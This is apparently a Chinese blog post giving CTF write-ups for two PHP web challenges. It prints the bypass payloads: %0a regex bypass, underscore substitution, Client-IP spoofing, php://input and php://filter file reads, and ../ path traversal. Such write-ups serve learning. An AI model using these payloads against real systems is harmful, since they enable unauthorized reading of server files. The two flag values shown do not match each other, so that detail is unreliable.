buuoj刷的两道简单ctf题

最新推荐文章于 2024-08-07 12:07:44 发布
最新推荐文章于 2024-08-07 12:07:44 发布
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分类专栏： ctf-wp
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43784056/article/details/106644688
版权

虽然简单，但是有一些小trick值得记录一下

[MRCTF2020]套娃

F12查看源码，发现可疑代码

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

 两个限制条件

一个是我们传入参数的变量名和值都不允许出现'_'和'%5f'，另一个是需要通过get方式传入一个b_u_p_t不等于23333，然后又不能以23333为开始和结尾

第一个绕过可以使用空格或者点或者%5F（substr_count函数区分大小写），第二个绕过在末尾使用%0a，完整的payload如下

?b u p t=23333%0a
?b.u.p.t=23333%0a
?b%5Fu%5Fp%5Ft=23333%0a

提交之后可以看到提示

访问secrettw.php

Flag is here~But how to get it?Local access only!
Sorry,you don't have permission! Your ip is :sorry,this way is banned!

查看源码发现

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 直接放到console执行，弹出一个框提示需要post一个数据Merak

通过burpsuit传入Merak，值随便写

 得到关键性源码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

 这里需要绕过ip检测，xff没用，使用client-ip成功绕过

还有一个get传入的2333，通过file_get_contents要读取到todat is happy day，这里使用php伪协议php://input绕过

最后读取flag.php还有一个change函数，需要逆向传入

逆向加密flag.php字符串的脚本

import base64
flag='flag.php'
re=''
j=0
for i in flag:
   re+=chr(ord(i)-j*2)
   j+=1
print base64.b64encode(re.encode())

 得到的payload

ZmpdYSZmXGI=

 最后拿到flag

[BSidesCF 2020]Had a bad day

打开题目链接

两个按钮随便点击一下，发现链接后面多了参数，于是果断单引号，尝试sql注入，产生报错

但这个报错不是sql注入，但是却给了新的思路，发现是include函数，把我们传入的参数拼接'.php'进行包含，于是使用php伪协议读取一下index.php的源码，payload如下

?category=php://filter/read=convert.base64-encode/resource=index

得到index.php经过base64加密的内容 

解密后的关键代码

<?php
    $file = $_GET['category'];

    if(isset($file))
    {
        if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
            include ($file . '.php');
	    }			
        else{
			echo "Sorry, we currently only support woofers and meowers.";		
		}
	}
?>

 这里要求传入的内容必须包含woofers或者meowers，或者index不在开头

这里的绕过的payload

?category=php://filter/read=convert.base64-encode/index/resource=flag

中间多出来的index，由于没有这个语法，所以不起作用，但是也不影响，所以可以绕过，用其他两个代替也可以

得到flag.php文件的base编码内容

解码得到flag

PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7OWYzZTFkNjgtYWNhNi00OTE1LTkzNTUtODhjOWY5ZThjYzU0fQo/Pgo=
<!-- Can you read this flag? -->
<?php
 // flag{60ced552-49d7-4c01-ad1a-1600a585b81b}
?>

然后记录一下学习的小trick：可以利用php的特性包含文件，?category=woofers/../flag，在woofer这个目录下，又通过../跳到上一个目录，就相当于是当前目录。万一以后打ctf用得到呢。

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